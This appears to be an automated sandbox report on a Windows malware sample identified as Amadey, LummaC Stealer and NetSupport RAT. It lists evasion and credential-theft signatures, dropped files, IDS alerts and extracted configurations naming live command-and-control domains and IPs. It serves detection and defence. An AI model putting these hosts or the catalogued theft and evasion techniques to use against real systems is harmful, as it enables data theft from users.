Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578490
MD5:	a916c16724e4aa3eef3839f1647f2b0f
SHA1:	981069c2d4254ca1b9cf41bc5dab8db5bfda1558
SHA256:	45400639f60d98c903e3942bea79413d9779bb1a62d96ffe1ac621de8dbd3800
Tags:	exeuser-Bitsight
Infos:

Detection

NetSupport RAT, LummaC, Amadey, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected LummaC Stealer

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: Execution from Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

file.exe (PID: 6824 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A916C16724E4AA3EEF3839F1647F2B0F)

skotes.exe (PID: 2664 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A916C16724E4AA3EEF3839F1647F2B0F)

skotes.exe (PID: 1900 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A916C16724E4AA3EEF3839F1647F2B0F)

YIFtngJ.exe (PID: 4464 cmdline: "C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe" MD5: E5F8753995C0B30B827AA2B17F3E1D22)

FuturreApp.exe (PID: 7132 cmdline: "C:\Users\Public\Netstat\FuturreApp.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

81c86993fb.exe (PID: 4488 cmdline: "C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe" MD5: 25FB9C54265BBACC7A055174479F0B70)

855fa1aa94.exe (PID: 1404 cmdline: "C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

855fa1aa94.exe (PID: 2116 cmdline: "C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

977f9058dc.exe (PID: 1984 cmdline: "C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe" MD5: 61039D97D478405525707E3C0B4B3003)

954af05edd.exe (PID: 6016 cmdline: "C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe" MD5: DD8DF388D297C668E3CCCBD9132EE6C1)

83c3b21a33.exe (PID: 6372 cmdline: "C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe" MD5: 669ED3665495A4A52029FF680EC8EBA9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "aspecteirs.lat", "energyaffai.lat", "discokeyus.lat", "necklacebudi.lat", "crosshuaht.lat", "sustainskelet.lat", "treehoneyi.click", "grannyejh.lat"], "Build id": "rAGxSF--Support"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\Public\Netstat\FuturreApp.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\Public\Netstat\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2997958771.00000000037B0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000000.2453706303.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000003.2320031632.00000000048B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2992005380.000000000157E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000003.2666665941.0000000000651000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2665749339.0000000000651000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000003.1744486368.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.2990562991.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2695578636.0000000003203000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000003.1785105860.00000000052D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2700320615.00000000055C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: YIFtngJ.exe PID: 4464	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: YIFtngJ.exe PID: 4464	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: FuturreApp.exe PID: 7132	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: FuturreApp.exe PID: 7132	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: 81c86993fb.exe PID: 4488	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 81c86993fb.exe PID: 4488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 81c86993fb.exe PID: 4488	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 855fa1aa94.exe PID: 1404	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 855fa1aa94.exe PID: 2116	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author
7.0.FuturreApp.exe.ef0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.FuturreApp.exe.6c100000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.FuturreApp.exe.6f6f0000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
12.2.855fa1aa94.exe.55c0000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.FuturreApp.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.FuturreApp.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.3.YIFtngJ.exe.4fbe800.0.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.3.YIFtngJ.exe.4fbe800.0.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.FuturreApp.exe.ef0000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.FuturreApp.exe.6c280000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
12.2.855fa1aa94.exe.400d790.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.skotes.exe.9d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.9d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.8e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.FuturreApp.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.FuturreApp.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Netstat\FuturreApp.exe" , CommandLine: "C:\Users\Public\Netstat\FuturreApp.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Netstat\FuturreApp.exe, NewProcessName: C:\Users\Public\Netstat\FuturreApp.exe, OriginalFileName: C:\Users\Public\Netstat\FuturreApp.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe, ParentProcessId: 4464, ParentProcessName: YIFtngJ.exe, ProcessCommandLine: "C:\Users\Public\Netstat\FuturreApp.exe" , ProcessId: 7132, ProcessName: FuturreApp.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 185.215.113.64, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Netstat\FuturreApp.exe, Initiated: true, ProcessId: 7132, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49785

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:27.319857+0100	2028371	3	Unknown Traffic	192.168.2.4	49812	104.21.91.209	443	TCP
2024-12-19T20:11:29.358331+0100	2028371	3	Unknown Traffic	192.168.2.4	49820	104.21.91.209	443	TCP
2024-12-19T20:11:31.819459+0100	2028371	3	Unknown Traffic	192.168.2.4	49826	104.21.91.209	443	TCP
2024-12-19T20:11:34.229749+0100	2028371	3	Unknown Traffic	192.168.2.4	49832	104.21.91.209	443	TCP
2024-12-19T20:11:36.583698+0100	2028371	3	Unknown Traffic	192.168.2.4	49843	104.21.91.209	443	TCP
2024-12-19T20:11:39.268812+0100	2028371	3	Unknown Traffic	192.168.2.4	49850	104.21.91.209	443	TCP
2024-12-19T20:11:42.115365+0100	2028371	3	Unknown Traffic	192.168.2.4	49858	104.21.91.209	443	TCP
2024-12-19T20:11:47.552815+0100	2028371	3	Unknown Traffic	192.168.2.4	49874	104.21.91.209	443	TCP
2024-12-19T20:12:12.150526+0100	2028371	3	Unknown Traffic	192.168.2.4	49934	104.21.91.209	443	TCP
2024-12-19T20:12:14.146526+0100	2028371	3	Unknown Traffic	192.168.2.4	49940	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:28.117522+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49812	104.21.91.209	443	TCP
2024-12-19T20:11:30.146457+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49820	104.21.91.209	443	TCP
2024-12-19T20:11:48.324986+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49874	104.21.91.209	443	TCP
2024-12-19T20:12:12.916358+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49934	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:28.117522+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49812	104.21.91.209	443	TCP
2024-12-19T20:12:12.916358+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49934	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:30.146457+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49820	104.21.91.209	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:19.060963+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49788	185.215.113.43	80	TCP
2024-12-19T20:11:27.896692+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49813	185.215.113.43	80	TCP
2024-12-19T20:11:35.346786+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49835	185.215.113.43	80	TCP
2024-12-19T20:11:47.590317+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49872	185.215.113.43	80	TCP
2024-12-19T20:12:00.056946+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49904	185.215.113.43	80	TCP
2024-12-19T20:12:08.011105+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49922	185.215.113.43	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:32.800938+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49826	104.21.91.209	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:06.882519+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:17.713545+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49764	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:11:11.648359+0100	2803305	3	Unknown Traffic	192.168.2.4	49768	31.41.244.11	80	TCP
2024-12-19T20:11:20.510296+0100	2803305	3	Unknown Traffic	192.168.2.4	49794	31.41.244.11	80	TCP
2024-12-19T20:11:29.344880+0100	2803305	3	Unknown Traffic	192.168.2.4	49815	31.41.244.11	80	TCP
2024-12-19T20:11:36.799022+0100	2803305	3	Unknown Traffic	192.168.2.4	49842	31.41.244.11	80	TCP
2024-12-19T20:11:49.253735+0100	2803305	3	Unknown Traffic	192.168.2.4	49877	31.41.244.11	80	TCP
2024-12-19T20:12:01.508018+0100	2803305	3	Unknown Traffic	192.168.2.4	49909	31.41.244.11	80	TCP
2024-12-19T20:12:09.467834+0100	2803305	3	Unknown Traffic	192.168.2.4	49928	31.41.244.11	80	TCP

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T20:10:06.126933+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.4	49785	185.215.113.64	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 81c86993fb.exe.4488.9.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "aspecteirs.lat", "energyaffai.lat", "discokeyus.lat", "necklacebudi.lat", "crosshuaht.lat", "sustainskelet.lat", "treehoneyi.click", "grannyejh.lat"], "Build id": "rAGxSF--Support"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Netstat\FuturreApp.exe	ReversingLabs: Detection: 28%
Source: C:\Users\Public\Netstat\remcmdstub.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_fbe40404-1

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

File opened: C:\Users\Public\Netstat\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49940 version: TLS 1.2

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: YIFtngJ.exe, 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmp, YIFtngJ.exe, 00000006.00000000.2443878770.0000000000B90000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: msvcr100.i386.pdb source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3007815130.000000006C041000.00000020.00000001.01000000.00000010.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: FuturreApp.exe, 00000007.00000002.3009876869.000000006F6F2000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: FuturreApp.exe, 00000007.00000000.2453706303.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp, FuturreApp.exe, 00000007.00000002.2990562991.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp
